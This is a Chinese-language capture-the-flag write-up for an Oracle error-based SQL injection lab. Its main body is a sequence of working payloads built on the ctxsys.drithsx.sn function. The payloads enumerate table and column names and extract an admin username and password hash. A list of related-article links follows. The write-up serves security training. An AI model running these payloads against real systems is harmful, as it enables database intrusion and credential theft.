封神臺Oracle注入- 報錯注入
一、原理
跟MySQL的注入一樣,都是程式原本要執行的sql語句拼接了使用者輸入的語句,導致出現了不該出現的資料。不同的資料庫使用的函式不同,Oracle使用的是ctxsys.drithsx.sn函式實現報錯注入。
二、作業
Oracle注入- 報錯注入 (Rank: 5)
-
在id=1 後新增and 1=1 發現頁面可以正常顯示,推斷此處可能存在注入點
-
通過報錯注入函式查詢當前表名:and 1=ctxsys.drithsx.sn(1,(select table_name from user_tables where rownum=1)),可得到表名有NEWS
-
通過報錯注入函式查詢第二張表名:and 1=ctxsys.drithsx.sn(1,(select table_name from user_tables where rownum=1 and table_name<>’NEWS’,得到第二個表名為ADMIN
-
通過and 1=ctxsys.drithsx.sn(1,(select column_name from user_tab_columns where table_name=’ADMIN’ and rownum=1)) 得到第一個欄位名:ID
-
通過and 1=ctxsys.drithsx.sn(1,(select column_name from user_tab_columns where table_name=’ADMIN’ and rownum=1 and column_name<>’ID’))得到第二個欄位名:UNAME
-
通過函式and 1=ctxsys.drithsx.sn(1,(select column_name from user_tab_columns where table_name=’ADMIN’ and rownum=1 and column_name<>’ID’ and column_name<>’UNAME’))得到第三個欄位名:UPASS
-
通過函式and 1=ctxsys.drithsx.sn(1,(select UNAME from ADMIN where rownum=1))得到UNAME表中的第一條資料
-
通過函式and 1=ctxsys.drithsx.sn(1,(select UNAME from ADMIN where rownum=1 and ID=2))得到UNAME表中的第二條資料:NF
-
通過函式and 1=ctxsys.drithsx.sn(1,(select UPASS from ADMIN where rownum=1 and ID=2))
得到NF的密碼:2a61f8bcfe7535eadcfa69eb4406ceb9
提交密碼,正確
相關文章
- 封神臺MYSQL 注入 - Dns注入MySqlDNS
- 【封神臺】資料庫注入 wp資料庫
- 基於報錯的注入模式模式
- 使用exp進行SQL報錯注入SQL
- Mysql報錯注入原理分析(count()、rand()、group by)MySql
- oracle注入整理Oracle
- 實戰記錄之SQL server報錯手工注入SQLServer
- Spring注入:配置注入(set注入和構造器注入)與註解注入Spring
- SQL 注入:聯合注入SQL
- sql注入之union注入SQL
- 程式注入之DLL注入
- sql注入之堆疊注入及waf繞過注入SQL
- oracle 輕鬆小sql注入OracleSQL
- Joomla 物件注入漏洞分析報告OOM物件
- win10最強注入工具,遠端執行緒注入、訊息鉤子注入、輸入法注入、EIP注入、登錄檔注入、APC注入(APC好像不能用)Win10執行緒
- sql注入之型別及提交注入SQL型別
- C++ DLL注入和程式碼注入C++
- dns注入DNS
- sql注入SQL
- php注入PHP
- SQL 注入SQL
- IOC注入技術之編譯時注入編譯
- sql注入修改SQL
- MySql注入科普MySql
- SQLServer注入技巧SQLServer
- 程式碼注入
- sql注入1SQL
- sql注入2SQL
- mysql防注入MySql
- SQL防注入SQL
- 自動注入
- 防止sql注入SQL
- 網頁外部注入vConsole除錯網頁除錯
- Spring set注入和構造注入的區別Spring
- 技術分享 | DLL注入之遠執行緒注入執行緒
- 專案啟動報錯怎麼辦?看看你Spring自動注入用對了嘛?@Autowired XxxService注入問題解決Spring
- Spring系列第八講 依賴注入之手動注入Spring依賴注入
- Spring原始碼系列:依賴注入(三)-屬性注入Spring原始碼依賴注入